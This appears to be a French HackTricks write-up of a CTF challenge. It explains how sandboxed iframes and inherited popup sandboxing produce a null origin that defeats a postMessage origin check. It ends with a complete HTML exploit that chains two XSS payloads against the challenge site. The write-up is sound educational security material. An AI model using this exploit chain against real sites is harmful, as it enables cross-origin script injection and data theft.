Bypassing SOP with Iframes - 1

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Iframes in SOP-1

Dans ce challenge créé par NDevTK et Terjanq, vous devez exploiter un XSS dans le code.

javascript
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}

Le problème principal est que la page principale utilise DomPurify pour envoyer le data.body, donc pour envoyer vos propres données html à ce code, vous devez bypasser e.origin !== window.origin.

Voyons la solution qu'ils proposent.

Bypass SOP 1 (e.origin === null)

Lorsque //example.org est intégré dans une iframe sandboxed, alors l'origine de la page sera null, c'est-à-dire window.origin === null. Donc, en intégrant simplement l'iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">, nous pourrions forcer l'origine null.

Si la page était intégrable, vous pourriez contourner cette protection de cette manière (les cookies pourraient également devoir être définis sur SameSite=None).

Bypass SOP 2 (window.origin === null)

Le fait moins connu est que lorsque la valeur sandbox allow-popups est définie, alors le popup ouvert va hériter de tous les attributs sandboxed à moins que allow-popups-to-escape-sandbox ne soit défini.
Ainsi, ouvrir un popup depuis une origine null fera que window.origin à l'intérieur du popup sera également null.

Solution au défi

Par conséquent, pour ce défi, on pourrait créer une iframe, ouvrir un popup vers la page avec le gestionnaire de code XSS vulnérable (/iframe.php), comme window.origin === e.origin parce que les deux sont null, il est possible d'envoyer un payload qui exploitera le XSS.

Ce payload obtiendra l'identifiant et enverra un XSS de retour à la page principale (la page qui a ouvert le popup), qui va changer de localisation vers le vulnérable /iframe.php. Comme l'identifiant est connu, il n'importe pas que la condition window.origin === e.origin ne soit pas satisfaite (rappelez-vous, l'origine est le popup de l'iframe qui a l'origine null) parce que data.identifier === identifier. Ensuite, le XSS se déclenchera à nouveau, cette fois dans la bonne origine.

html
<body>
<script>
f = document.createElement("iframe")

// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks